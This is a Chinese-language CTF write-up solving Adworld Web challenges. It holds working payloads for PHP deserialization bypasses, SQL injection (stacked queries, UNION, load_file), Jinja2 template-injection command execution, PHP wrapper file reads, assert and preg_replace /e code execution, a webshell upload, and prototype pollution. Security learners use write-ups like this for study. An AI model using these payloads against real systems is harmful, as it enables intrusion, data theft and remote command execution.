攻防世界 Web 引导模式 第二页

攻防世界 Web 引导模式 第二页

Web_php_unserialize

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } // 需要绕过__wakeup魔术方法,答案在fl4g.php function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 过滤了 o:数字: 或 c:数字: 不区分大小写。可以通过添加+来绕过 if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>

poc:

<?php class Demo { private $file = 'fl4g.php'; } $a = serialize(new Demo()); //echo $a; // O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";} // 在4前添加+来绕过正则、修改个数值来绕过__wakeup $b = str_replace("O:4:","O:+4:",$a); $c = str_replace(":1:{",":2:{",$b); //echo $c; // O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";} // 再把它进行base64编码 echo base64_encode($c); // TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

payload:/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

inget

没有任何回显,要一个一个试。payload:/?id=1' or 1=1 --+

cyberpeace{8a8583b1cdd42f00f2e79e32dd26d60e}

supersqli

也是之前uu上做过的题,没有过滤handler。堆叠注入

查表:1';show tables;

flag在这个数字表中,可以用handler直接查询出来:1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

另一种方法:因为1' or 1=1#后端已经存在的sql语句查询的是words表,所以可以将数字表名改为words,原来的words改为其它名称,再修改原先数字表中的flag字段为data并添加id字段,最后再利用1' or 1=1#将原先数字表中的所有内容查询出来:1';rename table words to words_two;rename table `1919810931114514` to words;alter table words change flag data varchar(255);alter table words add id int default 111;

flag{c168d583ed0d4d7196967b28cbd0b5e9}

web2

<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ // 反转字符串 $_o=strrev($str); // echo $_o; // 遍历反转后的字符串 for($_0=0;$_0<strlen($_o);$_0++){ // 一次截取一个字符 $_c=substr($_o,$_0,1); // 将截取到的字符转为ascii码并+1 $__=ord($_c)+1; // 将+1后的ascii码重新转为字符 $_c=chr($__); // 最后拼接起来 $_=$_.$_c; } // 返回经过b64编码、反转、rot13编码后的字符串 return str_rot13(strrev(base64_encode($_))); } highlight_file(__FILE__); /* 逆向加密算法,解密$miwen就是flag */ ?>

exp:

<?php $miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function decode($str) { $str = base64_decode(strrev(str_rot13($str))); for ($i=0; $i<strlen($str); $i++) { $a = substr($str,$i,1); $b = ord($a)-1; $c = chr($b); $_ = $_.$c; } return strrev($_); } echo decode($miwen);

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

fileclude

WRONG WAY! <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET["file1"]) && isset($_GET["file2"])) { $file1 = $_GET["file1"]; $file2 = $_GET["file2"]; if(!empty($file1) && !empty($file2)) { if(file_get_contents($file2) === "hello ctf") { include($file1); } } else die("NONONO"); }

利用filter和data伪协议来读取flag.php文件的源码和写入指定的hello ctf,payload:/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

cyberpeace{3ebe3886c067aa96bf5a44df83701b15}

fileinclude

查看源码

没有任何过滤

要加个伪协议读源码:language=php://filter/read=convert.base64-encode/resource=flag

cyberpeace{fb688c1ea29413d416e5a1208700dbfe}

Web_python_template_injection

提示python模版注入,在url上尝试:${7*7}

{{7*7}}

{{7*'7'}}

jinja2模版,fenjing:

手动注入也可以(看不懂可以参考:从零学习flask模板注入 - FreeBuf网络安全行业门户)。寻找可利用的模块:{{''.__class__.__mro__[2].__subclasses__()}}

<type 'file'>文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

<class 'site._Printer'>命令执行:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir(".")}}、{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}

文件读取当前目录下的fl4g:{{''.__class__.__mro__[2].__subclasses__()[40]('./fl4g').read()}}

或者用命令执行来获取:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen("cat ./fl4g").read()}}这里不用system是因为它只会返回状态码

用内置函数也是如此:{{get_flashed_messages.__globals__["__builtins__"]['__import__']('os').popen('cat ./fl4g').read()}}、{{url_for.__globals__["__builtins__"]['eval']("__import__('os').popen('cat ./fl4g').read()")}}

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

file_include

尝试base64编码读取文件,发现有内容被过滤了

经过尝试发现:read、base64、encode、string......被过滤

但是convert.iconv没有被过滤:php://filter/convert.iconv.a.b/resource=flag.php,抓包爆破

有很多编码都可以读取出来

cyberpeace{2b4e9fb43bc226eb2aa73a3ffe3a3e0f}

easyphp

需要满足key1和key2的条件才能获得flag。

key1:参数a的整数部分要大于六百万并且长度要小于等于3,用科学计数法绕过即可、参数b的md5值的最后六位要等于8b184b,爆破一下即可:

import hashlib for i in range(1,100000000): print(f"正在尝试:{i}") a = hashlib.md5(str(i).encode('utf-8')).hexdigest() if a[-6:] == "8b184b": print(i,' | ',a) break

53724  |  dbab43dabe09e16edf25ac77798b184b

payload:/?a=9e9&b=53724

key2:需要参数c传入一个json格式的数据并且解密后的参数c类型为数组、数组c中的m键的值不能是数字并且要大于2022,利用字符串与数字进行弱比较时的特性绕过即可、n键必须为数组类型以及其中的元素要有两个并且第一个元素也是数组类型、最后要求array_search函数能在n键的值中找到"DGGJ"字符串但是后续遍历数组n的所有值时又不能出现"DGGJ",这就要利用array_search函数中字符串与数字进行弱相等比较时:字符串会转为0的特性:只需要数组n中另一个不是数组类型的元素为0即可绕过(数组不会与不同类型的内容进行比较。"DGGJ"==0 --> 0==0 --> true)

<?php $c = array("m"=>"3333a","n"=>array(array(1),0)); echo json_encode($c);

payload:/?a=9e9&b=53724&c={"m":"3333a","n":[[1],0]}

cyberpeace{36ad1f79b3c07f458307db7418fdada7}

mfw

提示用了git,猜测有git泄漏,dirmap扫一下

用githack下载泄漏的文件:python githack.py http://61.147.171.103:64826/.git/

查看index.php,得到关键信息:

<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

重点:assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

绕过:通过')来闭合前面的strpos('以及//来注释掉后面的内容,中间再用.来连接想要执行的命令(因为.是字符串连接运算符,所以php会计算它两边的值)

payload:/?page=').system('cat ./templates/flag.php');//

查看源码

cyberpeace{c900b33786c73fb20406018c4496af5d}

Cat

输入baidu.com

换成127.0.0.1

命令执行:127.0.0.1|ls

被过滤了,先爆破一下:看看有哪些字符是被过滤的

除了  @    -    .    /  这四个字符外,其他的都被过滤了

其中的@和/在输入后会被编码,尝试在url上输入宽字节字符:%df%5c

将此段代码保存并打开:

这是python Web框架 django的报错信息,说明此框架的编码是gbk。

比赛时的提示:RTFM of PHP CURL===>>read the fuck manul of PHP CURL???

通过php curl手册可以得知一个利用点:从PHP5.2.0开始到PHP5.5.0之前;可以用@配合绝对路径来读取文件内容。

从上面的报错信息中可以得知:项目的根目录是/opt/api。

而在django项目中一般有一个名为settings.py的文件,它通常是设置默认使用的网站数据库的路径,它的所在位置也可以从报错信息中获取:

在api文件夹下,结合已知的根目录:/opt/api/api/settings.py

读取它:/?url=@/opt/api/api/settings.py

依旧保存打开

没找到flag,继续读取数据库的信息(一开始的报错信息中也能找到数据库的路径):/?url=@/opt/api/database.sqlite3

保存打开,得到:

WHCTF{yoooo_Such_A_G00D_@}

easyupload

.user.ini可以上传。上传的文件内容中不能出现php、要加个gif图片头、需要改MIME

上传d.jpg

访问uploads目录中已经存在index.php

蚁剑连接

cyberpeace{c62ea9f08ec9b2899399b48692b90e97}

ics-05

这次换成设备维护中心了

查看源码

伪协议拿源码:/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

解码得:

关键代码:

利用点:当preg_replace正则表达式中带有/e修饰符时,replacement参数就会被当做PHP代码执行。它原本的作用是将目标字符串subject参数中的所有匹配到pattern参数的值全部替换为replacement参数。

payload:/index.php?pat=/aaa/e&rep=system(%22ls%22);&sub=aaa

说明:只有pat在sub中匹配到了字符串才能用得上rep,从而使/e发挥作用:执行rep中的代码。

X-Forwarded-For: 127.0.0.1

查看当前目录及子目录下所有包含flag的文件名:/index.php?pat=/aaa/e&rep=system(%22find%20-name%20*flag*%22);&sub=aaa

查看flag:/index.php?pat=/aaa/e&rep=system(%22cat%20./s3chahahaDir/flag/flag.php%22);&sub=aaa

cyberpeace{575e0d4bfafa96a09d183114a27b4aee}

easytornado

uu上做过的题。

参数filename传/fllllllllllllag

参数filehash传md5(cookie_secret+md5(filename))

filename已经知道了,只差cookie_secret:通过配置字典{{handler.settings}}来获取

payload:/error?msg={{handler.settings}}

进行md5加密

import hashlib filename = "/fllllllllllllag" cookie_secret = "4724afb7-13d4-46d3-8c77-f3af0dbc7705" ans = hashlib.md5((cookie_secret+hashlib.md5(filename.encode("utf-8")).hexdigest()).encode("utf-8")).hexdigest() print(ans)

payload:/file?filename=/fllllllllllllag&filehash=720bbc55b4ed70f06878e5a561b6cde5

flag{3f39aea39db345769397ae895edb9c70}

shrine

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)

也是uu上做过的题,flag在{{config}}中,但是config被过滤了,()也被过滤了,常规做不行了。但是可以通过访问flask内置函数的全局变量来获取当前应用实例的config。

url_for或get_flashed_messages

/shrine/{{url_for.__globals__}}

/shrine/{{url_for.__globals__['current_app'].config}}

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

flag{shrine_is_good_ssti}

lottery

翻译:

需要通过猜对数字来获取美元,对的数字越多给的美元就越多

攒够美元后,即可购买flag

输入用户名后,就可以开始猜数字了。

既然附件已经给源码了,那就直接看了,在api.php中发现关键信息:

既然是弱比较的话:我们就可以通过抓包把原先的7个数字修改为7个true的方式来大大增加猜对的概率(布尔值在与数字进行弱比较时,只有0表示false、其它数字都表示true)

以此往复,直至攒够美元购买flag

cyberpeace{563d5b33f222a2dc65dd996bfd3e58c1}

fakebook

uu上做过的题,快速过一遍。先注册一个用户:

来到用户页面进行sql注入:/view.php?no=1 order by 4#

四个字段数

查回显:/view.php?no=-1 union/*!select*/ 1,2,3,4

2

查库:/view.php?no=-1 union/*!select*/ 1,database(),3,4

fakebook

查表:/view.php?no=-1 union/*!select*/ 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

users

查字段:/view.php?no=-1 union/*!select*/ 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users" and table_schema="fakebook"

查字段内容:/view.php?no=-1 union/*!select*/ 1,group_concat(no,username,passwd,data),3,4 from users

正常做以及详解:BUUCTF Web 第二页_buuctf 第二页web详细解析-ZEEKLOG博客

由于数据库的用户是root,所以可以直接将flag.php读取出来:

查看用户:/view.php?no=-1 union/*!select*/ 1,user(),3,4

查看flag:/view.php?no=-1 union/*!select*/ 1,load_file("/var/www/html/flag.php"),3,4

flag{c1e552fdf77049fabf65168f22f7aeab}

unseping

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

关键:call_user_func_array()会动态调用方法,只需要传method参数为ping、$args为想要执行的命令即可(要传数组类型),命令可以用单/双引号绕过。

poc:

<?php class ease { private $method="ping"; private $args=array("l''s"); } echo base64_encode(serialize(new ease()));

post:ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

空格用${IFS}绕过:

<?php class ease { private $method="ping"; private $args=array("l''s\${IFS}fl''ag_1s_here"); } echo base64_encode(serialize(new ease()));

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWZsJydhZ18xc19oZXJlIjt9fQ==

正斜杠也要绕过:

<?php class ease { private $method="ping"; private $args=array('ca""t${IFS}f""lag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.p""hp'); } echo base64_encode(serialize(new ease()));

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiY2EiInQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZmwiImFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

cyberpeace{bea296a44cd1b78f5836d463f9e73894}

wife_wife

注册一个账号并登录进去

普通用户登录进去的页面没有任何有用的信息。

参考:JavaScript 原型链污染 | Drunkbaby's Blog

app.post('/register', (req, res) => { let user = JSON.parse(req.body) if (!user.username || !user.password) { return res.json({ msg: 'empty username or password', err: true }) } if (users.filter(u => u.username == user.username).length) { return res.json({ msg: 'username already exists', err: true }) } if (user.isAdmin && user.inviteCode != INVITE_CODE) { user.isAdmin = false return res.json({ msg: 'invalid invite code', err: true }) } let newUser = Object.assign({}, baseUser, user) users.push(newUser) res.json({ msg: 'user created successfully', err: false }) })

Object.assign()这个方法可以触发原型链污染(它会把用户输入的属性直接复制到空对象{}中,也包括__proto__)。默认情况下,所有对象的原型都是Object.prototype,而普通对象的__proto__可以直接指向这个原型链根,以此来修改其中的对象。(js属性查找顺序:先找对象自身属性,再找__proto__指向的原型对象,直到Object.prototype。)

回到注册账号时的页面:

抓包

得到管理员身份的账号后,再去登录:

CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

题目名称-文件包含

和之前的file_include一样的题目,抓包爆破:

两个攻击payload都是一样的

check.php

flag.php

cyberpeace{f4c104c0e7c5ee4c5d7107e3f15ec70e}

FlatScience

目录扫描:python dirsearch.py -u http://61.147.171.35:52876/ --timeout=2 -x 429

访问robots.txt

访问admin.php

应该需要想办法获取admin的密码,登录后才能得到flag

访问login.php

查看源码:

访问/login.php?debug

密码进行sha1加密前拼接了Salz!字符串,数据库是SQLite3,与mysql注入有些不同,抓包进行sql注入

判断列数:usr=-1' order by 3--+&pw=1        usr=-1' order by 2--+&pw=1

2个字段

查看回显位:usr=-1' union select 1,2--+&pw=1

第2个字段是回显位

查表:usr=-1' union select 1,name from sqlite_master limit 0,1--+&pw=1

usr=-1' union select 1,name from sqlite_master limit 1,1--+&pw=1

Users表、sqlite_autoindex_Users_1表

查字段:usr=-1' union select 1,sql from sqlite_master limit 1,1--+&pw=1

Users表的字段有:id,name,password,hint

查看admin的password:usr=-1' union select 1,password from Users where name = "admin"--+&pw=1

得到sha1加密后的密文:3fab54a50e770d830c0416df817567662a9dc85c

查看admin的hint:usr=-1' union select 1,hint from Users where name = "admin"--+&pw=1

提示:那些pdf文件中的某个单词就是密码。要依照从password中获取的sha1密文来找。

exp:

import requests import re import time import pdfplumber import os import hashlib from concurrent.futures import ThreadPoolExecutor,as_completed from tqdm import tqdm url = "http://61.147.171.103:62214/" pdf_url_all = [] pdf_file_name_preg = re.compile(r"[a-fA-F0-9]{32,32}.pdf") num_pwd_preg = re.compile(r"\d/") sha1_crypto_admin_password = "3fab54a50e770d830c0416df817567662a9dc85c" all_pdf_file_paths = r"C:\Users\Anno\Desktop\pdf" all_pdf_text_words = [] def get_pdf_url(url): resp = requests.get(url + "index.html") if resp.status_code == 404: print("[404]网页不存在!") return None else: print(f"[?]正在搜集{url}index.html中的pdf文件网址。") num_pwd_all = num_pwd_preg.findall(resp.text) pdf_file_name_all = pdf_file_name_preg.findall(resp.text) for pdf_file_name in pdf_file_name_all: pdf_url_all.append(url + pdf_file_name) print(f"[OK]{url}index.html中的所有pdf文件网址已搜集完毕!") if num_pwd_all: for num_pwd in num_pwd_all: get_pdf_url(url + num_pwd) else: return None def download_pdf_file(pdf_url_all): for pdf_url in pdf_url_all: resp_pdf = requests.get(pdf_url) pdf_file = open(r"C:\Users\Anno\Desktop\pdf\\" + pdf_url[-36:], "wb") pdf_file.write(resp_pdf.content) print(f"[OK]{pdf_url[-36:]}文件保存完毕!") return None def collect_all_pdf_file_words(pdf_file): print(f"[?]正在搜集{pdf_file.name}文件中的单词...") pdf = pdfplumber.open(pdf_file.path) for page in pdf.pages: page_text = page.extract_text() all_pdf_text_words.extend(page_text.split(" ")) print(f"[OK]{pdf_file.name}文件中的单词搜集完毕!") return None def find_right_word(word): word_Salz = word + "Salz!" sha1_word = hashlib.sha1(word_Salz.encode("utf-8")).hexdigest() if sha1_word == sha1_crypto_admin_password: print(f"[ANS]admin_password_is:{word}") return None if __name__ == '__main__': start_time = time.time() # 第一步:获取所有pdf文件的网址并通过URL下载下来 get_pdf_url(url) print(f"[get_pdf_url]所有pdf文件的网址:{pdf_url_all}") download_pdf_file(pdf_url_all) print(f"[download_pdf_file]所有pdf文件下载完毕!") # 第二步:搜集所有pdf文件中的单词并查找符合sha1密文的单词 # with ThreadPoolExecutor(max_workers=10) as thread_exe_one: # all_pdf_file = [f for f in os.scandir(all_pdf_file_paths)] # all_thread_one = {thread_exe_one.submit(collect_all_pdf_file_words,pdf_file): pdf_file for pdf_file in all_pdf_file} # for result in tqdm(as_completed(all_thread_one),total=len(all_pdf_file)): # result.result() # print(f"[collect_all_pdf_file_words]所有pdf文件的单词:{all_pdf_text_words}") # with ThreadPoolExecutor(max_workers=10) as thread_exe_two: # all_thread_two = {thread_exe_two.submit(find_right_word,word): word for word in all_pdf_text_words} # for result in tqdm(as_completed(all_thread_two),total=len(all_pdf_text_words)): # result.result() end_time = time.time() print(f"[OVER]程序结束,耗时(秒):{end_time-start_time}")

ThinJerboa

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

Read more

【大模型系列篇】大模型基建工程:基于 FastAPI 自动构建 SSE MCP 服务器

【大模型系列篇】大模型基建工程:基于 FastAPI 自动构建 SSE MCP 服务器

今天我们将使用FastAPI来构建 MCP 服务器,Anthropic 推出的这个MCP 协议,目的是让 AI 代理和你的应用程序之间的对话变得更顺畅、更清晰。FastAPI 基于 Starlette 和 Uvicorn,采用异步编程模型,可轻松处理高并发请求,尤其适合 MCP 场景下大模型与外部系统的实时交互需求,其性能接近 Node.js 和 Go,在数据库查询、文件操作等 I/O 密集型任务中表现卓越。 开始今天的正题前,我们来回顾下相关的知识内容: 《高性能Python Web服务部署架构解析》、《使用Python开发MCP Server及Inspector工具调试》、《构建智能体MCP客户端:完成大模型与MCP服务端能力集成与最小闭环验证》   FastAPI基础知识 安装依赖 pip install uvicorn, fastapi FastAPI服务代码示例  from fastapi import FastAPI app

By Ne0inhk
【MCP】详细了解MCP协议:和function call的区别何在?如何使用MCP?

【MCP】详细了解MCP协议:和function call的区别何在?如何使用MCP?

本文介绍了MCP大模型上下文协议的的概念,并对比了MCP协议和function call的区别,同时用python sdk为例介绍了mcp的使用方式。 1. 什么是MCP? 官网:https://modelcontextprotocol.io/introduction 2025年,Anthropic提出了MCP协议。MCP全称为Model Context Protocol,翻译过来是大模型上下文协议。这个协议的主要为AI大模型和外部工具(比如让AI去查询信息,或者让AI操作本地文件)之间的交互提供了一个统一的处理协议。我们常用的USB TypeC接口(USB-C)统一了USB接口的样式,MCP协议就好比AI大模型中的USB-C,统一了大模型与工具的对接方式。 MCP协议采用了C/S架构,也就是服务端、客户端架构,能支持在客户端设备上调用远程Server提供的服务,同时也支持stdio流式传输模式,也就是在客户端本地启动mcp服务端。只需要在配置文件中新增MCP服务端,就能用上这个MCP服务器提供的各种工具,大大提高了大模型使用外部工具的便捷性。 MCP是开源协议,能让所有A

By Ne0inhk
超详细图文教程:用vscode+copilot(代理模式)便捷使用mcp+一个范例:用自然语言进行3d建模

超详细图文教程:用vscode+copilot(代理模式)便捷使用mcp+一个范例:用自然语言进行3d建模

在vscode使用claude mcp吧! 在vscode更新到最新版本(注意,这是前提)后,内置的copilot可以使用mcp了!!! 关于mcp(Model Context Protocol 模型上下文协议),可以参考我的上一篇文章: MCP个人理解+示例+集成管理+在python中调用示例,给AI大模型装上双手-ZEEKLOG博客 以下是使用教程: 1.点击左下角的齿轮状设置按钮,点击设置 2.在输入面板输入chat.agent.enabled,勾上勾选框 3.点击Ctrl+shift+P,输入reload,点击重新加载窗口,刷新窗口 4.打开copilot后,在右下角将模式改为代理即可。 5.点击工具按钮,开始安装mcp 先去github找到自己想要添加的mcp服务,以blender MCP为例,打开https://github.com/ahujasid/blender-mcp,可以在readme文档里看到详细的安装过程。可以看到,

By Ne0inhk
02-mcp-server案例分享-Excel 表格秒变可视化图表 HTML 报告,就这么简单

02-mcp-server案例分享-Excel 表格秒变可视化图表 HTML 报告,就这么简单

1.前言 MCP Server(模型上下文协议服务器)是一种基于模型上下文协议(Model Context Protocol,简称MCP)构建的轻量级服务程序,旨在实现大型语言模型(LLM)与外部资源之间的高效、安全连接。MCP协议由Anthropic公司于2024年11月开源,其核心目标是解决AI应用中数据分散、接口不统一等问题,为开发者提供标准化的接口,使AI模型能够灵活访问本地资源和远程服务,从而提升AI助手的响应质量和工作效率。 MCP Server 的架构与工作原理 MCP Server 采用客户端-服务器(Client-Server)架构,其中客户端(MCP Client)负责与服务器建立连接,发起请求,而服务器端则处理请求并返回响应。这种架构确保了数据交互的高效性与安全性。例如,客户端可以向服务器发送请求,如“查询数据库中的某个记录”或“调用某个API”,而服务器则根据请求类型,调用相应的资源或工具,完成任务并返回结果。 MCP Server 支持动态发现和实时更新机制。例如,当新的资源或工具被添加到服务器时,

By Ne0inhk